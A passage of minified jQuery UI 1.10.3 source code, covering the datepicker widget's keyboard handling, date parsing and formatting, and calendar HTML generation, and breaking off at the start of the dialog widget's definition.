case 27:t.datepicker._hideDatepicker();break;case 33:t.datepicker._adjustDate(e.target,e.ctrlKey?-t.datepicker._get(o,"stepBigMonths"):-t.datepicker._get(o,"stepMonths"),"M");break;case 34:t.datepicker._adjustDate(e.target,e.ctrlKey?+t.datepicker._get(o,"stepBigMonths"):+t.datepicker._get(o,"stepMonths"),"M");break;case 35:(e.ctrlKey||e.metaKey)&&t.datepicker._clearDate(e.target),a=e.ctrlKey||e.metaKey;break;case 36:(e.ctrlKey||e.metaKey)&&t.datepicker._gotoToday(e.target),a=e.ctrlKey||e.metaKey;break;case 37:(e.ctrlKey||e.metaKey)&&t.datepicker._adjustDate(e.target,r?1:-1,"D"),a=e.ctrlKey||e.metaKey,e.originalEvent.altKey&&t.datepicker._adjustDate(e.target,e.ctrlKey?-t.datepicker._get(o,"stepBigMonths"):-t.datepicker._get(o,"stepMonths"),"M");break;case 38:(e.ctrlKey||e.metaKey)&&t.datepicker._adjustDate(e.target,-7,"D"),a=e.ctrlKey||e.metaKey;break;case 39:(e.ctrlKey||e.metaKey)&&t.datepicker._adjustDate(e.target,r?-1:1,"D"),a=e.ctrlKey||e.metaKey,e.originalEvent.altKey&&t.datepicker._adjustDate(e.target,e.ctrlKey?+t.datepicker._get(o,"stepBigMonths"):+t.datepicker._get(o,"stepMonths"),"M");break;case 40:(e.ctrlKey||e.metaKey)&&t.datepicker._adjustDate(e.target,7,"D"),a=e.ctrlKey||e.metaKey;break;default:a=!1}else 36===e.keyCode&&e.ctrlKey?t.datepicker._showDatepicker(this):a=!1;a&&(e.preventDefault(),e.stopPropagation())},_doKeyPress:function(i){var s,n,o=t.datepicker._getInst(i.target);return t.datepicker._get(o,"constrainInput")?(s=t.datepicker._possibleChars(t.datepicker._get(o,"dateFormat")),n=String.fromCharCode(null==i.charCode?i.keyCode:i.charCode),i.ctrlKey||i.metaKey||" ">n||!s||s.indexOf(n)>-1):e},_doKeyUp:function(e){var i,s=t.datepicker._getInst(e.target);if(s.input.val()!==s.lastVal)try{i=t.datepicker.parseDate(t.datepicker._get(s,"dateFormat"),s.input?s.input.val():null,t.datepicker._getFormatConfig(s)),i&&(t.datepicker._setDateFromField(s),t.datepicker._updateAlternate(s),t.datepicker._updateDatepicker(s))}catch(n){}return!0},_showDatepicker:function(e){if(e=e.target||e,"input"!==e.nodeName.toLowerCase()&&(e=t("input",e.parentNode)[0]),!t.datepicker._isDisabledDatepicker(e)&&t.datepicker._lastInput!==e){var i,s,o,a,r,h,l;i=t.datepicker._getInst(e),t.datepicker._curInst&&t.datepicker._curInst!==i&&(t.datepicker._curInst.dpDiv.stop(!0,!0),i&&t.datepicker._datepickerShowing&&t.datepicker._hideDatepicker(t.datepicker._curInst.input[0])),s=t.datepicker._get(i,"beforeShow"),o=s?s.apply(e,[e,i]):{},o!==!1&&(n(i.settings,o),i.lastVal=null,t.datepicker._lastInput=e,t.datepicker._setDateFromField(i),t.datepicker._inDialog&&(e.value=""),t.datepicker._pos||(t.datepicker._pos=t.datepicker._findPos(e),t.datepicker._pos[1]+=e.offsetHeight),a=!1,t(e).parents().each(function(){return a|="fixed"===t(this).css("position"),!a}),r={left:t.datepicker._pos[0],top:t.datepicker._pos[1]},t.datepicker._pos=null,i.dpDiv.empty(),i.dpDiv.css({position:"absolute",display:"block",top:"-1000px"}),t.datepicker._updateDatepicker(i),r=t.datepicker._checkOffset(i,r,a),i.dpDiv.css({position:t.datepicker._inDialog&&t.blockUI?"static":a?"fixed":"absolute",display:"none",left:r.left+"px",top:r.top+"px"}),i.inline||(h=t.datepicker._get(i,"showAnim"),l=t.datepicker._get(i,"duration"),i.dpDiv.zIndex(t(e).zIndex()+1),t.datepicker._datepickerShowing=!0,t.effects&&t.effects.effect[h]?i.dpDiv.show(h,t.datepicker._get(i,"showOptions"),l):i.dpDiv[h||"show"](h?l:null),t.datepicker._shouldFocusInput(i)&&i.input.focus(),t.datepicker._curInst=i))}},_updateDatepicker:function(e){this.maxRows=4,o=e,e.dpDiv.empty().append(this._generateHTML(e)),this._attachHandlers(e),e.dpDiv.find("."+this._dayOverClass+" a").mouseover();var i,s=this._getNumberOfMonths(e),n=s[1],a=17;e.dpDiv.removeClass("ui-datepicker-multi-2 ui-datepicker-multi-3 ui-datepicker-multi-4").width(""),n>1&&e.dpDiv.addClass("ui-datepicker-multi-"+n).css("width",a*n+"em"),e.dpDiv[(1!==s[0]||1!==s[1]?"add":"remove")+"Class"]("ui-datepicker-multi"),e.dpDiv[(this._get(e,"isRTL")?"add":"remove")+"Class"]("ui-datepicker-rtl"),e===t.datepicker._curInst&&t.datepicker._datepickerShowing&&t.datepicker._shouldFocusInput(e)&&e.input.focus(),e.yearshtml&&(i=e.yearshtml,setTimeout(function(){i===e.yearshtml&&e.yearshtml&&e.dpDiv.find("select.ui-datepicker-year:first").replaceWith(e.yearshtml),i=e.yearshtml=null},0))},_shouldFocusInput:function(t){return t.input&&t.input.is(":visible")&&!t.input.is(":disabled")&&!t.input.is(":focus")},_checkOffset:function(e,i,s){var n=e.dpDiv.outerWidth(),o=e.dpDiv.outerHeight(),a=e.input?e.input.outerWidth():0,r=e.input?e.input.outerHeight():0,h=document.documentElement.clientWidth+(s?0:t(document).scrollLeft()),l=document.documentElement.clientHeight+(s?0:t(document).scrollTop());return i.left-=this._get(e,"isRTL")?n-a:0,i.left-=s&&i.left===e.input.offset().left?t(document).scrollLeft():0,i.top-=s&&i.top===e.input.offset().top+r?t(document).scrollTop():0,i.left-=Math.min(i.left,i.left+n>h&&h>n?Math.abs(i.left+n-h):0),i.top-=Math.min(i.top,i.top+o>l&&l>o?Math.abs(o+r):0),i},_findPos:function(e){for(var i,s=this._getInst(e),n=this._get(s,"isRTL");e&&("hidden"===e.type||1!==e.nodeType||t.expr.filters.hidden(e));)e=e[n?"previousSibling":"nextSibling"];return i=t(e).offset(),[i.left,i.top]},_hideDatepicker:function(e){var i,s,n,o,r=this._curInst;!r||e&&r!==t.data(e,a)||this._datepickerShowing&&(i=this._get(r,"showAnim"),s=this._get(r,"duration"),n=function(){t.datepicker._tidyDialog(r)},t.effects&&(t.effects.effect[i]||t.effects[i])?r.dpDiv.hide(i,t.datepicker._get(r,"showOptions"),s,n):r.dpDiv["slideDown"===i?"slideUp":"fadeIn"===i?"fadeOut":"hide"](i?s:null,n),i||n(),this._datepickerShowing=!1,o=this._get(r,"onClose"),o&&o.apply(r.input?r.input[0]:null,[r.input?r.input.val():"",r]),this._lastInput=null,this._inDialog&&(this._dialogInput.css({position:"absolute",left:"0",top:"-100px"}),t.blockUI&&(t.unblockUI(),t("body").append(this.dpDiv))),this._inDialog=!1)},_tidyDialog:function(t){t.dpDiv.removeClass(this._dialogClass).unbind(".ui-datepicker-calendar")},_checkExternalClick:function(e){if(t.datepicker._curInst){var i=t(e.target),s=t.datepicker._getInst(i[0]);(i[0].id!==t.datepicker._mainDivId&&0===i.parents("#"+t.datepicker._mainDivId).length&&!i.hasClass(t.datepicker.markerClassName)&&!i.closest("."+t.datepicker._triggerClass).length&&t.datepicker._datepickerShowing&&(!t.datepicker._inDialog||!t.blockUI)||i.hasClass(t.datepicker.markerClassName)&&t.datepicker._curInst!==s)&&t.datepicker._hideDatepicker()}},_adjustDate:function(e,i,s){var n=t(e),o=this._getInst(n[0]);this._isDisabledDatepicker(n[0])||(this._adjustInstDate(o,i+("M"===s?this._get(o,"showCurrentAtPos"):0),s),this._updateDatepicker(o))},_gotoToday:function(e){var i,s=t(e),n=this._getInst(s[0]);this._get(n,"gotoCurrent")&&n.currentDay?(n.selectedDay=n.currentDay,n.drawMonth=n.selectedMonth=n.currentMonth,n.drawYear=n.selectedYear=n.currentYear):(i=new Date,n.selectedDay=i.getDate(),n.drawMonth=n.selectedMonth=i.getMonth(),n.drawYear=n.selectedYear=i.getFullYear()),this._notifyChange(n),this._adjustDate(s)},_selectMonthYear:function(e,i,s){var n=t(e),o=this._getInst(n[0]);o["selected"+("M"===s?"Month":"Year")]=o["draw"+("M"===s?"Month":"Year")]=parseInt(i.options[i.selectedIndex].value,10),this._notifyChange(o),this._adjustDate(n)},_selectDay:function(e,i,s,n){var o,a=t(e);t(n).hasClass(this._unselectableClass)||this._isDisabledDatepicker(a[0])||(o=this._getInst(a[0]),o.selectedDay=o.currentDay=t("a",n).html(),o.selectedMonth=o.currentMonth=i,o.selectedYear=o.currentYear=s,this._selectDate(e,this._formatDate(o,o.currentDay,o.currentMonth,o.currentYear)))},_clearDate:function(e){var i=t(e);this._selectDate(i,"")},_selectDate:function(e,i){var s,n=t(e),o=this._getInst(n[0]);i=null!=i?i:this._formatDate(o),o.input&&o.input.val(i),this._updateAlternate(o),s=this._get(o,"onSelect"),s?s.apply(o.input?o.input[0]:null,[i,o]):o.input&&o.input.trigger("change"),o.inline?this._updateDatepicker(o):(this._hideDatepicker(),this._lastInput=o.input[0],"object"!=typeof o.input[0]&&o.input.focus(),this._lastInput=null)},_updateAlternate:function(e){var i,s,n,o=this._get(e,"altField");o&&(i=this._get(e,"altFormat")||this._get(e,"dateFormat"),s=this._getDate(e),n=this.formatDate(i,s,this._getFormatConfig(e)),t(o).each(function(){t(this).val(n)}))},noWeekends:function(t){var e=t.getDay();return[e>0&&6>e,""]},iso8601Week:function(t){var e,i=new Date(t.getTime());return i.setDate(i.getDate()+4-(i.getDay()||7)),e=i.getTime(),i.setMonth(0),i.setDate(1),Math.floor(Math.round((e-i)/864e5)/7)+1},parseDate:function(i,s,n){if(null==i||null==s)throw"Invalid arguments";if(s="object"==typeof s?""+s:s+"",""===s)return null;var o,a,r,h,l=0,c=(n?n.shortYearCutoff:null)||this._defaults.shortYearCutoff,u="string"!=typeof c?c:(new Date).getFullYear()%100+parseInt(c,10),d=(n?n.dayNamesShort:null)||this._defaults.dayNamesShort,p=(n?n.dayNames:null)||this._defaults.dayNames,f=(n?n.monthNamesShort:null)||this._defaults.monthNamesShort,g=(n?n.monthNames:null)||this._defaults.monthNames,m=-1,v=-1,_=-1,b=-1,y=!1,w=function(t){var e=i.length>o+1&&i.charAt(o+1)===t;return e&&o++,e},k=function(t){var e=w(t),i="@"===t?14:"!"===t?20:"y"===t&&e?4:"o"===t?3:2,n=RegExp("^\\d{1,"+i+"}"),o=s.substring(l).match(n);if(!o)throw"Missing number at position "+l;return l+=o[0].length,parseInt(o[0],10)},x=function(i,n,o){var a=-1,r=t.map(w(i)?o:n,function(t,e){return[[e,t]]}).sort(function(t,e){return-(t[1].length-e[1].length)});if(t.each(r,function(t,i){var n=i[1];return s.substr(l,n.length).toLowerCase()===n.toLowerCase()?(a=i[0],l+=n.length,!1):e}),-1!==a)return a+1;throw"Unknown name at position "+l},D=function(){if(s.charAt(l)!==i.charAt(o))throw"Unexpected literal at position "+l;l++};for(o=0;i.length>o;o++)if(y)"'"!==i.charAt(o)||w("'")?D():y=!1;else switch(i.charAt(o)){case"d":_=k("d");break;case"D":x("D",d,p);break;case"o":b=k("o");break;case"m":v=k("m");break;case"M":v=x("M",f,g);break;case"y":m=k("y");break;case"@":h=new Date(k("@")),m=h.getFullYear(),v=h.getMonth()+1,_=h.getDate();break;case"!":h=new Date((k("!")-this._ticksTo1970)/1e4),m=h.getFullYear(),v=h.getMonth()+1,_=h.getDate();break;case"'":w("'")?D():y=!0;break;default:D()}if(s.length>l&&(r=s.substr(l),!/^\s+/.test(r)))throw"Extra/unparsed characters found in date: "+r;if(-1===m?m=(new Date).getFullYear():100>m&&(m+=(new Date).getFullYear()-(new Date).getFullYear()%100+(u>=m?0:-100)),b>-1)for(v=1,_=b;;){if(a=this._getDaysInMonth(m,v-1),a>=_)break;v++,_-=a}if(h=this._daylightSavingAdjust(new Date(m,v-1,_)),h.getFullYear()!==m||h.getMonth()+1!==v||h.getDate()!==_)throw"Invalid date";return h},ATOM:"yy-mm-dd",COOKIE:"D, dd M yy",ISO_8601:"yy-mm-dd",RFC_822:"D, d M y",RFC_850:"DD, dd-M-y",RFC_1036:"D, d M y",RFC_1123:"D, d M yy",RFC_2822:"D, d M yy",RSS:"D, d M y",TICKS:"!",TIMESTAMP:"@",W3C:"yy-mm-dd",_ticksTo1970:1e7*60*60*24*(718685+Math.floor(492.5)-Math.floor(19.7)+Math.floor(4.925)),formatDate:function(t,e,i){if(!e)return"";var s,n=(i?i.dayNamesShort:null)||this._defaults.dayNamesShort,o=(i?i.dayNames:null)||this._defaults.dayNames,a=(i?i.monthNamesShort:null)||this._defaults.monthNamesShort,r=(i?i.monthNames:null)||this._defaults.monthNames,h=function(e){var i=t.length>s+1&&t.charAt(s+1)===e;return i&&s++,i},l=function(t,e,i){var s=""+e;if(h(t))for(;i>s.length;)s="0"+s;return s},c=function(t,e,i,s){return h(t)?s[e]:i[e]},u="",d=!1;if(e)for(s=0;t.length>s;s++)if(d)"'"!==t.charAt(s)||h("'")?u+=t.charAt(s):d=!1;else switch(t.charAt(s)){case"d":u+=l("d",e.getDate(),2);break;case"D":u+=c("D",e.getDay(),n,o);break;case"o":u+=l("o",Math.round((new Date(e.getFullYear(),e.getMonth(),e.getDate()).getTime()-new Date(e.getFullYear(),0,0).getTime())/864e5),3);break;case"m":u+=l("m",e.getMonth()+1,2);break;case"M":u+=c("M",e.getMonth(),a,r);break;case"y":u+=h("y")?e.getFullYear():(10>e.getYear()%100?"0":"")+e.getYear()%100;break;case"@":u+=e.getTime();break;case"!":u+=1e4*e.getTime()+this._ticksTo1970;break;case"'":h("'")?u+="'":d=!0;break;default:u+=t.charAt(s)}return u},_possibleChars:function(t){var e,i="",s=!1,n=function(i){var s=t.length>e+1&&t.charAt(e+1)===i;return s&&e++,s};for(e=0;t.length>e;e++)if(s)"'"!==t.charAt(e)||n("'")?i+=t.charAt(e):s=!1;else switch(t.charAt(e)){case"d":case"m":case"y":case"@":i+="0123456789";break;case"D":case"M":return null;case"'":n("'")?i+="'":s=!0;break;default:i+=t.charAt(e)}return i},_get:function(t,i){return t.settings[i]!==e?t.settings[i]:this._defaults[i]},_setDateFromField:function(t,e){if(t.input.val()!==t.lastVal){var i=this._get(t,"dateFormat"),s=t.lastVal=t.input?t.input.val():null,n=this._getDefaultDate(t),o=n,a=this._getFormatConfig(t);try{o=this.parseDate(i,s,a)||n}catch(r){s=e?"":s}t.selectedDay=o.getDate(),t.drawMonth=t.selectedMonth=o.getMonth(),t.drawYear=t.selectedYear=o.getFullYear(),t.currentDay=s?o.getDate():0,t.currentMonth=s?o.getMonth():0,t.currentYear=s?o.getFullYear():0,this._adjustInstDate(t)}},_getDefaultDate:function(t){return this._restrictMinMax(t,this._determineDate(t,this._get(t,"defaultDate"),new Date))},_determineDate:function(e,i,s){var n=function(t){var e=new Date;return e.setDate(e.getDate()+t),e},o=function(i){try{return t.datepicker.parseDate(t.datepicker._get(e,"dateFormat"),i,t.datepicker._getFormatConfig(e))}catch(s){}for(var n=(i.toLowerCase().match(/^c/)?t.datepicker._getDate(e):null)||new Date,o=n.getFullYear(),a=n.getMonth(),r=n.getDate(),h=/([+\-]?[0-9]+)\s*(d|D|w|W|m|M|y|Y)?/g,l=h.exec(i);l;){switch(l[2]||"d"){case"d":case"D":r+=parseInt(l[1],10);break;case"w":case"W":r+=7*parseInt(l[1],10);break;case"m":case"M":a+=parseInt(l[1],10),r=Math.min(r,t.datepicker._getDaysInMonth(o,a));break;case"y":case"Y":o+=parseInt(l[1],10),r=Math.min(r,t.datepicker._getDaysInMonth(o,a))}l=h.exec(i)}return new Date(o,a,r)},a=null==i||""===i?s:"string"==typeof i?o(i):"number"==typeof i?isNaN(i)?s:n(i):new Date(i.getTime());return a=a&&"Invalid Date"==""+a?s:a,a&&(a.setHours(0),a.setMinutes(0),a.setSeconds(0),a.setMilliseconds(0)),this._daylightSavingAdjust(a)},_daylightSavingAdjust:function(t){return t?(t.setHours(t.getHours()>12?t.getHours()+2:0),t):null},_setDate:function(t,e,i){var s=!e,n=t.selectedMonth,o=t.selectedYear,a=this._restrictMinMax(t,this._determineDate(t,e,new Date));t.selectedDay=t.currentDay=a.getDate(),t.drawMonth=t.selectedMonth=t.currentMonth=a.getMonth(),t.drawYear=t.selectedYear=t.currentYear=a.getFullYear(),n===t.selectedMonth&&o===t.selectedYear||i||this._notifyChange(t),this._adjustInstDate(t),t.input&&t.input.val(s?"":this._formatDate(t))},_getDate:function(t){var e=!t.currentYear||t.input&&""===t.input.val()?null:this._daylightSavingAdjust(new Date(t.currentYear,t.currentMonth,t.currentDay));return e},_attachHandlers:function(e){var i=this._get(e,"stepMonths"),s="#"+e.id.replace(/\\\\/g,"\\");e.dpDiv.find("[data-handler]").map(function(){var e={prev:function(){t.datepicker._adjustDate(s,-i,"M")},next:function(){t.datepicker._adjustDate(s,+i,"M")},hide:function(){t.datepicker._hideDatepicker()},today:function(){t.datepicker._gotoToday(s)},selectDay:function(){return t.datepicker._selectDay(s,+this.getAttribute("data-month"),+this.getAttribute("data-year"),this),!1},selectMonth:function(){return t.datepicker._selectMonthYear(s,this,"M"),!1},selectYear:function(){return t.datepicker._selectMonthYear(s,this,"Y"),!1}};t(this).bind(this.getAttribute("data-event"),e[this.getAttribute("data-handler")])})},_generateHTML:function(t){var e,i,s,n,o,a,r,h,l,c,u,d,p,f,g,m,v,_,b,y,w,k,x,D,C,I,P,T,M,S,z,A,H,E,N,W,O,F,R,L=new Date,j=this._daylightSavingAdjust(new Date(L.getFullYear(),L.getMonth(),L.getDate())),Y=this._get(t,"isRTL"),B=this._get(t,"showButtonPanel"),V=this._get(t,"hideIfNoPrevNext"),K=this._get(t,"navigationAsDateFormat"),U=this._getNumberOfMonths(t),q=this._get(t,"showCurrentAtPos"),Q=this._get(t,"stepMonths"),X=1!==U[0]||1!==U[1],$=this._daylightSavingAdjust(t.currentDay?new Date(t.currentYear,t.currentMonth,t.currentDay):new Date(9999,9,9)),G=this._getMinMaxDate(t,"min"),J=this._getMinMaxDate(t,"max"),Z=t.drawMonth-q,te=t.drawYear;if(0>Z&&(Z+=12,te--),J)for(e=this._daylightSavingAdjust(new Date(J.getFullYear(),J.getMonth()-U[0]*U[1]+1,J.getDate())),e=G&&G>e?G:e;this._daylightSavingAdjust(new Date(te,Z,1))>e;)Z--,0>Z&&(Z=11,te--);for(t.drawMonth=Z,t.drawYear=te,i=this._get(t,"prevText"),i=K?this.formatDate(i,this._daylightSavingAdjust(new Date(te,Z-Q,1)),this._getFormatConfig(t)):i,s=this._canAdjustMonth(t,-1,te,Z)?"<a class='ui-datepicker-prev ui-corner-all' data-handler='prev' data-event='click' title='"+i+"'><span class='ui-icon ui-icon-circle-triangle-"+(Y?"e":"w")+"'>"+i+"</span></a>":V?"":"<a class='ui-datepicker-prev ui-corner-all ui-state-disabled' title='"+i+"'><span class='ui-icon ui-icon-circle-triangle-"+(Y?"e":"w")+"'>"+i+"</span></a>",n=this._get(t,"nextText"),n=K?this.formatDate(n,this._daylightSavingAdjust(new Date(te,Z+Q,1)),this._getFormatConfig(t)):n,o=this._canAdjustMonth(t,1,te,Z)?"<a class='ui-datepicker-next ui-corner-all' data-handler='next' data-event='click' title='"+n+"'><span class='ui-icon ui-icon-circle-triangle-"+(Y?"w":"e")+"'>"+n+"</span></a>":V?"":"<a class='ui-datepicker-next ui-corner-all ui-state-disabled' title='"+n+"'><span class='ui-icon ui-icon-circle-triangle-"+(Y?"w":"e")+"'>"+n+"</span></a>",a=this._get(t,"currentText"),r=this._get(t,"gotoCurrent")&&t.currentDay?$:j,a=K?this.formatDate(a,r,this._getFormatConfig(t)):a,h=t.inline?"":"<button type='button' class='ui-datepicker-close ui-state-default ui-priority-primary ui-corner-all' data-handler='hide' data-event='click'>"+this._get(t,"closeText")+"</button>",l=B?"<div class='ui-datepicker-buttonpane ui-widget-content'>"+(Y?h:"")+(this._isInRange(t,r)?"<button type='button' class='ui-datepicker-current ui-state-default ui-priority-secondary ui-corner-all' data-handler='today' data-event='click'>"+a+"</button>":"")+(Y?"":h)+"</div>":"",c=parseInt(this._get(t,"firstDay"),10),c=isNaN(c)?0:c,u=this._get(t,"showWeek"),d=this._get(t,"dayNames"),p=this._get(t,"dayNamesMin"),f=this._get(t,"monthNames"),g=this._get(t,"monthNamesShort"),m=this._get(t,"beforeShowDay"),v=this._get(t,"showOtherMonths"),_=this._get(t,"selectOtherMonths"),b=this._getDefaultDate(t),y="",k=0;U[0]>k;k++){for(x="",this.maxRows=4,D=0;U[1]>D;D++){if(C=this._daylightSavingAdjust(new Date(te,Z,t.selectedDay)),I=" ui-corner-all",P="",X){if(P+="<div class='ui-datepicker-group",U[1]>1)switch(D){case 0:P+=" ui-datepicker-group-first",I=" ui-corner-"+(Y?"right":"left");break;case U[1]-1:P+=" ui-datepicker-group-last",I=" ui-corner-"+(Y?"left":"right");break;default:P+=" ui-datepicker-group-middle",I=""}P+="'>"}for(P+="<div class='ui-datepicker-header ui-widget-header ui-helper-clearfix"+I+"'>"+(/all|left/.test(I)&&0===k?Y?o:s:"")+(/all|right/.test(I)&&0===k?Y?s:o:"")+this._generateMonthYearHeader(t,Z,te,G,J,k>0||D>0,f,g)+"</div><table class='ui-datepicker-calendar'><thead>"+"<tr>",T=u?"<th class='ui-datepicker-week-col'>"+this._get(t,"weekHeader")+"</th>":"",w=0;7>w;w++)M=(w+c)%7,T+="<th"+((w+c+6)%7>=5?" class='ui-datepicker-week-end'":"")+">"+"<span title='"+d[M]+"'>"+p[M]+"</span></th>";for(P+=T+"</tr></thead><tbody>",S=this._getDaysInMonth(te,Z),te===t.selectedYear&&Z===t.selectedMonth&&(t.selectedDay=Math.min(t.selectedDay,S)),z=(this._getFirstDayOfMonth(te,Z)-c+7)%7,A=Math.ceil((z+S)/7),H=X?this.maxRows>A?this.maxRows:A:A,this.maxRows=H,E=this._daylightSavingAdjust(new Date(te,Z,1-z)),N=0;H>N;N++){for(P+="<tr>",W=u?"<td class='ui-datepicker-week-col'>"+this._get(t,"calculateWeek")(E)+"</td>":"",w=0;7>w;w++)O=m?m.apply(t.input?t.input[0]:null,[E]):[!0,""],F=E.getMonth()!==Z,R=F&&!_||!O[0]||G&&G>E||J&&E>J,W+="<td class='"+((w+c+6)%7>=5?" ui-datepicker-week-end":"")+(F?" ui-datepicker-other-month":"")+(E.getTime()===C.getTime()&&Z===t.selectedMonth&&t._keyEvent||b.getTime()===E.getTime()&&b.getTime()===C.getTime()?" "+this._dayOverClass:"")+(R?" "+this._unselectableClass+" ui-state-disabled":"")+(F&&!v?"":" "+O[1]+(E.getTime()===$.getTime()?" "+this._currentClass:"")+(E.getTime()===j.getTime()?" ui-datepicker-today":""))+"'"+(F&&!v||!O[2]?"":" title='"+O[2].replace(/'/g,"&#39;")+"'")+(R?"":" data-handler='selectDay' data-event='click' data-month='"+E.getMonth()+"' data-year='"+E.getFullYear()+"'")+">"+(F&&!v?"&#xa0;":R?"<span class='ui-state-default'>"+E.getDate()+"</span>":"<a class='ui-state-default"+(E.getTime()===j.getTime()?" ui-state-highlight":"")+(E.getTime()===$.getTime()?" ui-state-active":"")+(F?" ui-priority-secondary":"")+"' href='#'>"+E.getDate()+"</a>")+"</td>",E.setDate(E.getDate()+1),E=this._daylightSavingAdjust(E);P+=W+"</tr>"}Z++,Z>11&&(Z=0,te++),P+="</tbody></table>"+(X?"</div>"+(U[0]>0&&D===U[1]-1?"<div class='ui-datepicker-row-break'></div>":""):""),x+=P}y+=x}return y+=l,t._keyEvent=!1,y},_generateMonthYearHeader:function(t,e,i,s,n,o,a,r){var h,l,c,u,d,p,f,g,m=this._get(t,"changeMonth"),v=this._get(t,"changeYear"),_=this._get(t,"showMonthAfterYear"),b="<div class='ui-datepicker-title'>",y="";if(o||!m)y+="<span class='ui-datepicker-month'>"+a[e]+"</span>";else{for(h=s&&s.getFullYear()===i,l=n&&n.getFullYear()===i,y+="<select class='ui-datepicker-month' data-handler='selectMonth' data-event='change'>",c=0;12>c;c++)(!h||c>=s.getMonth())&&(!l||n.getMonth()>=c)&&(y+="<option value='"+c+"'"+(c===e?" selected='selected'":"")+">"+r[c]+"</option>");y+="</select>"}if(_||(b+=y+(!o&&m&&v?"":"&#xa0;")),!t.yearshtml)if(t.yearshtml="",o||!v)b+="<span class='ui-datepicker-year'>"+i+"</span>";else{for(u=this._get(t,"yearRange").split(":"),d=(new Date).getFullYear(),p=function(t){var e=t.match(/c[+\-].*/)?i+parseInt(t.substring(1),10):t.match(/[+\-].*/)?d+parseInt(t,10):parseInt(t,10);return isNaN(e)?d:e},f=p(u[0]),g=Math.max(f,p(u[1]||"")),f=s?Math.max(f,s.getFullYear()):f,g=n?Math.min(g,n.getFullYear()):g,t.yearshtml+="<select class='ui-datepicker-year' data-handler='selectYear' data-event='change'>";g>=f;f++)t.yearshtml+="<option value='"+f+"'"+(f===i?" selected='selected'":"")+">"+f+"</option>";t.yearshtml+="</select>",b+=t.yearshtml,t.yearshtml=null}return b+=this._get(t,"yearSuffix"),_&&(b+=(!o&&m&&v?"":"&#xa0;")+y),b+="</div>"},_adjustInstDate:function(t,e,i){var s=t.drawYear+("Y"===i?e:0),n=t.drawMonth+("M"===i?e:0),o=Math.min(t.selectedDay,this._getDaysInMonth(s,n))+("D"===i?e:0),a=this._restrictMinMax(t,this._daylightSavingAdjust(new Date(s,n,o)));t.selectedDay=a.getDate(),t.drawMonth=t.selectedMonth=a.getMonth(),t.drawYear=t.selectedYear=a.getFullYear(),("M"===i||"Y"===i)&&this._notifyChange(t)},_restrictMinMax:function(t,e){var i=this._getMinMaxDate(t,"min"),s=this._getMinMaxDate(t,"max"),n=i&&i>e?i:e;return s&&n>s?s:n},_notifyChange:function(t){var e=this._get(t,"onChangeMonthYear");e&&e.apply(t.input?t.input[0]:null,[t.selectedYear,t.selectedMonth+1,t])},_getNumberOfMonths:function(t){var e=this._get(t,"numberOfMonths");return null==e?[1,1]:"number"==typeof e?[1,e]:e},_getMinMaxDate:function(t,e){return this._determineDate(t,this._get(t,e+"Date"),null)},_getDaysInMonth:function(t,e){return 32-this._daylightSavingAdjust(new Date(t,e,32)).getDate()},_getFirstDayOfMonth:function(t,e){return new Date(t,e,1).getDay()},_canAdjustMonth:function(t,e,i,s){var n=this._getNumberOfMonths(t),o=this._daylightSavingAdjust(new Date(i,s+(0>e?e:n[0]*n[1]),1));return 0>e&&o.setDate(this._getDaysInMonth(o.getFullYear(),o.getMonth())),this._isInRange(t,o)},_isInRange:function(t,e){var i,s,n=this._getMinMaxDate(t,"min"),o=this._getMinMaxDate(t,"max"),a=null,r=null,h=this._get(t,"yearRange");return h&&(i=h.split(":"),s=(new Date).getFullYear(),a=parseInt(i[0],10),r=parseInt(i[1],10),i[0].match(/[+\-].*/)&&(a+=s),i[1].match(/[+\-].*/)&&(r+=s)),(!n||e.getTime()>=n.getTime())&&(!o||e.getTime()<=o.getTime())&&(!a||e.getFullYear()>=a)&&(!r||r>=e.getFullYear())},_getFormatConfig:function(t){var e=this._get(t,"shortYearCutoff");return e="string"!=typeof e?e:(new Date).getFullYear()%100+parseInt(e,10),{shortYearCutoff:e,dayNamesShort:this._get(t,"dayNamesShort"),dayNames:this._get(t,"dayNames"),monthNamesShort:this._get(t,"monthNamesShort"),monthNames:this._get(t,"monthNames")}},_formatDate:function(t,e,i,s){e||(t.currentDay=t.selectedDay,t.currentMonth=t.selectedMonth,t.currentYear=t.selectedYear);var n=e?"object"==typeof e?e:this._daylightSavingAdjust(new Date(s,i,e)):this._daylightSavingAdjust(new Date(t.currentYear,t.currentMonth,t.currentDay));return this.formatDate(this._get(t,"dateFormat"),n,this._getFormatConfig(t))}}),t.fn.datepicker=function(e){if(!this.length)return this;t.datepicker.initialized||(t(document).mousedown(t.datepicker._checkExternalClick),t.datepicker.initialized=!0),0===t("#"+t.datepicker._mainDivId).length&&t("body").append(t.datepicker.dpDiv);var i=Array.prototype.slice.call(arguments,1);return"string"!=typeof e||"isDisabled"!==e&&"getDate"!==e&&"widget"!==e?"option"===e&&2===arguments.length&&"string"==typeof arguments[1]?t.datepicker["_"+e+"Datepicker"].apply(t.datepicker,[this[0]].concat(i)):this.each(function(){"string"==typeof e?t.datepicker["_"+e+"Datepicker"].apply(t.datepicker,[this].concat(i)):t.datepicker._attachDatepicker(this,e)}):t.datepicker["_"+e+"Datepicker"].apply(t.datepicker,[this[0]].concat(i))},t.datepicker=new i,t.datepicker.initialized=!1,t.datepicker.uuid=(new Date).getTime(),t.datepicker.version="1.10.3"}(jQuery),function(t){var e={buttons:!0,height:!0,maxHeight:!0,maxWidth:!0,minHeight:!0,minWidth:!0,width:!0},i={maxHeight:!0,maxWidth:!0,minHeight:!0,minWidth:!0};t.widget("ui.dialog",{version:"1.10.3",options:{appendTo:"body",autoOpen:!0,buttons:[],closeOnEscape:!0,closeText:"close",dialogClass:"",draggable:!0,hide:null,height:"auto",maxHeight:null,maxWidth:null,minHeight:150,minWidth:150,modal:!1,position:{my:"center",at:"center",of:window,collision:"fit",using:function(e){var i=t(this).css(e).offset().top;0>i&&t(this).css("top",e.top-i)}},resizable:!0,show:null,title:null,width:300,beforeClose:null,close:null,drag:null,dragStart:null,dragStop:null,focus:null,open:null,resize:null,resizeStart:null,resizeStop:null},_create:function(){this.originalCss={display:this.element[0].style.display,width:this.element[0].style.width,minHeight:this.element[0].style.minHeight,maxHeight:this.element[0].style.maxHeight,height:this.element[0].style.height},this.originalPosition={parent:this.element.parent(),index:this.element.parent().children().index(this.element)},this.originalTitle=this.element.attr("title"),this.options.title=this.options.title||this.originalTitle,this._createWrapper(),this.element.show().removeAttr("title").addClass("ui-dialog-content 